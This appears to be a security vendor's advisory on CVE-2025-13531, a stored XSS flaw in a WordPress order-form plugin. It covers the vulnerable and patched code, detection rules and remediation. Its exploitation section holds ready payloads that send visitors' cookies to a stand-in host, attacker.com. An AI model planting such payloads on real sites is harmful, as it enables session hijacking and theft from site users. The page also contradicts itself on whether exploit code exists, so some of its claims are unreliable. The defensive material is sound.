CVE-2025-13531
Executive Summary
CVE-2025-13531 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Stylish Order Form Builder plugin for WordPress. The flaw resides in the product_name parameter, which is insufficiently sanitized and escaped before being stored and later rendered in pages. An authenticated attacker with at least Subscriber-level access can inject arbitrary web scripts. When an administrator or other user views the affected page, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability affects all versions up to and including 1.0. No official patch has been released, and no public exploit code is available at this time. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for significant impact due to the stored nature of the attack.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is installed on WordPress sites and runs within the WordPress environment. The attack vector is through the WordPress admin interface, where authenticated users can create or edit order forms. The injected script is stored in the WordPress database and executed when the form is viewed by any user.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply needs to submit a crafted request.
- Privileges Required (PR): Low (L) – The attacker must be authenticated with at least Subscriber-level access.
- User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low (L) – Limited information disclosure is possible.
- Integrity (I): Low (L) – The attacker can modify content within the victim's browser.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS nature means any user (including administrators) who views the injected page is at risk. In a multi-tenant or shared hosting environment, this could lead to widespread compromise.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (also known as Persistent XSS). The product_name parameter is used to define the name of a product in an order form. When a user with Subscriber-level or higher privileges submits a new or edited order form, the product_name value is stored in the WordPress database without proper sanitization or output escaping.
The flow is as follows:
- An authenticated attacker (Subscriber or above) navigates to the Stylish Order Form Builder page.
- The attacker enters a malicious payload into the
product_namefield, e.g.,<script>alert('XSS')</script>. - The plugin saves this payload to the database.
- When any user (including administrators) views the order form page, the plugin retrieves the
product_namevalue and outputs it directly into the HTML without escaping. - The browser interprets the injected script and executes it.
The root cause is the lack of input sanitization (e.g., wp_kses()) and output escaping (e.g., esc_html() or esc_attr()) on the product_name parameter. WordPress provides built-in functions for this, but the plugin developer did not use them.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical fix based on secure coding practices.
Vulnerable Code (Example)
// In the plugin's form processing function
$product_name = $_POST['product_name'];
// Directly stored without sanitization
update_post_meta($post_id, 'product_name', $product_name);
// In the display function
echo get_post_meta($post_id, 'product_name', true);
Patched Code (Hypothetical)
// Sanitize input
$product_name = sanitize_text_field($_POST['product_name']);
// Escape output
echo esc_html(get_post_meta($post_id, 'product_name', true));
The patched version uses sanitize_text_field() to strip dangerous characters before storage and esc_html() to convert HTML entities before output. This prevents script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the Stylish Order Form Builder plugin (version <= 1.0) installed and activated.
- An authenticated user account with at least Subscriber-level privileges.
Steps:
- Log in to WordPress as a Subscriber.
- Navigate to the Stylish Order Form Builder page (e.g.,
/wp-admin/admin.php?page=stylish-order-form-builder). - Create a new order form or edit an existing one.
- In the
product_namefield, enter the following payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the form.
- When an administrator or any other user views the order form page, the script executes, sending their cookies to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>';</script>
Blue Team (Detection & Prevention)
Detection:
- Monitor WordPress logs for suspicious
product_namevalues containing<script>tags. - Use a Web Application Firewall (WAF) to block requests with obvious XSS patterns in POST parameters.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Prevention:
- Apply input sanitization and output escaping as shown in the patched code.
- Restrict Subscriber-level users from creating or editing order forms if not necessary.
- Regularly update the plugin if a patch becomes available.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to known attacker-controlled domains (e.g.,
attacker.com). - Suspicious
Refererheaders pointing to the WordPress admin area.
- Outbound HTTP requests to known attacker-controlled domains (e.g.,
- Host IOCs:
- WordPress database entries in
wp_postmetawheremeta_keyisproduct_nameandmeta_valuecontains<script>tags. - Unexpected JavaScript files or inline scripts in the page source of order form pages.
- WordPress database entries in
- File IOCs:
- Modified plugin files (though unlikely in this case as the vulnerability is in the database).
Detection Engineering
YARA Rule
rule Detect_Stylish_Order_Form_XSS {
meta:
description = "Detects stored XSS payloads in Stylish Order Form Builder product_name"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13531"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$product_name = "product_name"
condition:
$product_name and $xss_payload
}
Sigma Rule
title: Stored XSS in Stylish Order Form Builder
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via product_name parameter
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-13531
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "/wp-admin/admin-ajax.php"
cs-method: "POST"
cs-params|contains: "product_name"
cs-params|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in product names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13531 Stored XSS in Stylish Order Form Builder"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"product_name"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Restrict user roles – Ensure only trusted administrators can create or edit order forms.
- Implement a WAF rule to block requests containing
<script>in theproduct_nameparameter.
Long-Term Fix:
- The vendor must release a patched version that sanitizes input and escapes output.
- As a temporary workaround, site administrators can manually edit the plugin code to add
sanitize_text_field()andesc_html()as shown in the patched code example.
Monitoring:
- Review WordPress logs for any signs of exploitation.
- Check the database for existing malicious payloads using the YARA rule above.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.